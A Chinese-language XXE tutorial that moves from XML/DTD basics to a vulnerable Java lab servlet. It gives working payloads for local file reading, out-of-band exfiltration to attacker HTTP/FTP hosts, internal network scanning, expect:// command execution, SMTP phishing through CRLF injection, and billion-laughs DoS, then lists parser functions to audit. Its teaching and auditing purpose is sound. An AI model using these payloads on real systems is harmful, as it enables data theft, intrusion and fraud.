XXE漏洞分析与挖掘

XXE漏洞分析与挖掘

XML基础

XML的全称是EXtensible Markup Language,可扩展标记语言

编写XML就是编写标签,与HTML类似,扩展名.xml

有良好的人机可读性

与HTML差别在于,这几个方面


XML文档结构

<?xml version="1.0" encoding="UTF-8"?>

version:表示版本号1.0

encoding:表示设置字符集为UTF-8


实例

使用XML编写一个人力资源管理系统

<?xml version="1.0" encoding="UTF-8"?>
<!-- 人力资源管理系统 -->
<hr>
<employee no="3309">
<name>张三</name>
<age>31</age>
<salary>4000</salary>
<department>会计部</department>
<address>xx大厦-B103</address>
</employee>

<employee no="3310">
<name>张三</name>
<age>23</age>
<salary>3000</salary>
<department>工程部</department>
<address>xx大厦-B104</address>
</employee>
</hr>

XML语法约束

XML文档结构正确,但可能不是有效的。

例如员工档案不能出现”植物品种”标签,XML语法约束就是用于规定XML文档允许出现哪些标签


DTD

Document Type Definition

文档类型定义是一种简单易用的语法约束方式

扩展名为.dtd


hr.dtd

<!ELEMENT hr (employee+)>
<!ELEMENT employee (name,age,salary,department)>
<!ELEMENT employee no CDATA "">
<!ELEMENT name(#PCDATA)>
....

定义节点数量

<!-- 定义hr节点下只允许1个employee子节点 -->
<!ELEMENT hr(employee)>

<!-- 定义hr节点下0...n个employee子节点 -->
<!ELEMENT hr(employee*)>

<!-- 定义hr节点下最多1个employee子节点 -->
<!ELEMENT hr(employee?)>

<!-- hr节点hr下最少出现1个employee子节点 -->
<!ELEMENT hr(employee+)>

引用DTD文件

在XML中使用<!DOCTYPE>标签来引用DTD文件

<!-- 书写格式 -->
<!DOCTYPE 根节点 SYSTEM "dtd文件路径">

<!-- 实例 -->
<!DOCTYPE hr SYSTEM "hr.dtd">

这是包含 DTD 的 “hr.dtd” 文件:

<!ELEMENT hr (employee+)>
<!ELEMENT employee (name,age,salary,department)>
<!ATTLIST employee no CDATA "">
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT salary (#PCDATA)>
<!ELEMENT department (dname,address)>
<!ELEMENT dname (#PCDATA)>
<!ELEMENT address (#PCDATA)>

实例

<?xml version="1.0" encoding="UTF-8"?>
<!-- 定义hr节点下最少出现1个employee子节点 -->
<!ELEMENT hr (employee+)>

<!-- 定义 note 元素有四个元素:"name,age,salary,department" -->
<!ELEMENT employee (name,age,salary,department)>

<!-- 增加no属性,CDATA表示属性值解析时不会被解析器解析 -->
<!ATTLIST employee no CDATA "">

<!-- 定义name标签体只能是文本,#PCDATA代表文本元素。 -->
<!ELEMENT name (#PCDATA)>

<!-- 定义age标签体只能是文本,#PCDATA代表文本元素。 -->
<!ELEMENT age (#PCDATA)>

<!-- 定义salary标签体只能是文本,#PCDATA代表文本元素。 -->
<!ELEMENT salary (#PCDATA)>

<!-- 定义 department 元素有四个元素:"dname,address" -->
<!ELEMENT department (dname,address)>

<!-- 定义dname标签体只能是文本,#PCDATA代表文本元素。 -->
<!ELEMENT dname (#PCDATA)>

<!-- 定义address标签体只能是文本,#PCDATA代表文本元素。 -->
<!ELEMENT address (#PCDATA)>

实例

使用dtd来验证XML

<?xml version="1.0" ?> 
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<message>Don't forget me this weekend!</message>
</note>

XML攻击与危害

原理

XXE(外部实体注入)是XML外部实体注入。

当应用程序允许引用外部实体时,通过XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等

靶场

https://github.com/c0ny1/xxe-lab


代码

package me.gv7.xxe;

import java.io.IOException;
import java.io.PrintWriter;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.w3c.dom.Document;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

import javax.xml.parsers.*;

@WebServlet("/doLoginServlet")
public class LoginServlet extends HttpServlet {
private static final long serialVersionUID = 1L;

private static final String USERNAME = "admin";//账号
private static final String PASSWORD = "admin";//密码

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//漏洞点
//得到创建 DOM 解析器的工厂
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db;
String result="";
try {
db = dbf.newDocumentBuilder();
/*修复代码*/
//dbf.setExpandEntityReferences(false);

//调用 DOM 解析器对象的 parse() 方法解析 XML 文档,得到代表整个文档的 Document 对象
Document doc = db.parse(request.getInputStream());
//获取username标签值
String username = getValueByTagName(doc,"username");
//获取password标签值
String password = getValueByTagName(doc,"password");
//判断
if(username.equals(USERNAME) && password.equals(PASSWORD)){
result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
}else{
result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
}
} catch (ParserConfigurationException e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
} catch (SAXException e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
}
response.setContentType("text/xml;charset=UTF-8");
response.getWriter().append(result);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request, response);
}

/**
*
* @param doc 文档
* @param tagName 标签名
* @return 标签值
*/
public static String getValueByTagName(Document doc, String tagName){
if(doc == null || tagName.equals(null)){
return "";
}
NodeList pl = doc.getElementsByTagName(tagName);
if(pl != null && pl.getLength() > 0){
return pl.item(0).getTextContent();
}
return "";
}
}

尝试登录抓包

可以看到我们传入的账户和密码都是在标签中包裹

尝试插入payload

分析payload

有回显型

file协议

<?xml version="1.0"?>
<!-- 定义此文档是test1类型的文档。-->
<!-- 定义test内部实体名称,file后面接你要读的文件。-->
<!DOCTYPE test1 [
<!ENTITY test SYSTEM "file:///c:/windows/win.ini">
]>
<!-- xxx标签名字要使用数据包中的原生标签,&test引用 -->
<user><username>&test;</username><password>admin</password></user>

或者是使用netdoc协议i

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ELEMENT creds ANY>
<!ENTITY xxe SYSTEM "netdoc:///c:/windows/system.ini">]>

<user><username>&xxe;</username><password>admin</password></user>

无回显型

在java中没有编码的协议,如php能使用base64外带

php解决情况:

接收外带访问的数据

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">

使用nc来接收参数

nc -lvv 9999

或者是写一个接收的php文件

<?php
$ipd = $_SERVER["REMOTE_ADDR"]? $_SERVER["REMOTE_ADDR"] : "";
if($ipd){

$a = empty($_GET['a'])? "" : $_GET['a'];
$t = empty($_SERVER['HTTP_REFERER'])? "" : $_SERVER['HTTP>REFERER'];
$txt = htmlspecialchars($ipd."--".$a."--".$_SERVER['REQUEST_URI']."--".$t."\r\n");
$n = fopen("test.txt","a+");
# $x = fwrite($n,$txt);
}

发送

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % pe3 SYSTEM "http://x.x.x.x/test.dtd">
%pe3;
]>
<aa>&ge1;</aa>

java解决情况:

可以看到直接爆出非法字符一些情况

由于java没有相关的编码协议,我们可以考虑使用ftp协议外带数据

jdk版本小于7u141和小于8u162才可以读取整个文件


payload

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY % xd SYSTEM "http://192.168.3.20:8000/1.dtd">
%xd;
]>

<user><username>aaaa</username><password>admin</password></user>

1.dtd

<!ENTITY % aaaa SYSTEM "file:///c:/windows/system.ini">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM 'ftp://192.168.3.199:2121/%aaaa;'>">
%demo;

搭建http

python3 -m http.server

搭建ftp

https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb

ruby xxe-ftp-server.rb

HTTP 内网主机探测

存在 XXE 漏洞的服务器为我们探测内网的支点

首先是php站点

准备工作


import requests
import base64

#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>


def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)

def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue

内网主机端口扫描

可以使用http URI并强制服务器向我们指定的端点和端口发送GET请求,将XXE转换为SSRF
以下代码将尝试与端口8080通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启

可以将请求的端口作为 参数 然后利用 burp 的 intruder 来帮我们探测

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2020-11-11</date>
<description>&xxe;</description>
</core>
</catalog>

远程代码执行(RCE)

PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上
就可以执行如下的命令:

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2020-11-11</date>
<description>&xxe;</description>
</core>
</catalog>

响应:

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

钓鱼攻击

如果内网有一台易受攻击的 SMTP 服务器,我们就能利用 ftp:// 协议结合 CRLF 注入向其发送任意命令,也就是可以指定其发送任意邮件给任意人,这样就伪造了信息源,造成钓鱼

Java支持在sun.net.ftp.impl.FtpClient中的ftp URI。因此,我们可以指定用户名和密码,例如ftp://user:password@host:port/test.txt,FTP客户端将在连接中发送相应的USER命令。

但是如果我们将%0D%0A (CRLF)添加到URL的user部分的任意位置,我们就可以终止USER命令并向FTP会话中注入一个新的命令,即允许我们向25端口发送任意的SMTP命令:

ftp://a%0D%0AEHLO%20a%0D%0AMAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0ARCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0ADATA%0D%0AFrom%3A%20support%40VULNERABLESYSTEM.com%0ATo%3A%20victim%40gmail.com%0ASubject%3A%20test%0A%0Atest!%0A%0D%0A.%0D%0AQUIT%0D%0A:a@VULNERABLESYSTEM.com:25

格式化URL解码后

ftp://a
EHLO a
MAIL FROM: <support@VULNERABLESYSTEM.com>
RCPT TO: <victim@gmail.com>
DATA
From: support@VULNERABLESYSTEM.com
To: victim@gmail.com
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:support@VULNERABLESYSTEM.com:25

这意味着攻击者可以从从受信任的来源发送钓鱼邮件(例如:帐户重置链接)并绕过垃圾邮件过滤器的检测。除了链接之外,甚至我们也可以发送附件。


文件上传

jar:// 协议的格式:

jar:{url}!{path}

实例

jar:http://host/application.jar!/file/within/the/zip
//这个 ! 后面就是其需要从中解压出的文件

jar 能从远程获取 jar 文件,然后将其中的内容进行解压,等等,这个功能似乎比 phar 强大啊,phar:// 是没法远程加载文件的


jar 协议处理文件的过程:

(1) 下载 jar/zip 文件到临时文件中
(2) 提取出我们指定的文件
(3) 删除临时文件


那么我们怎么找到我们下载的临时文件呢?

因为在 java中file:///协议可以起到列目录的作用,所以我们能用 file:/// 协议配合 jar:// 协议使用

<!DOCTYPE convert [ 
<!ENTITY remote SYSTEM "jar:http://localhost:9999/jar.zip!/wm.php">
]>
<convert>&remote;</convert>

DOS攻击

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

审计函数

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
.......
上一篇

SSRF从外网到内网靶场演练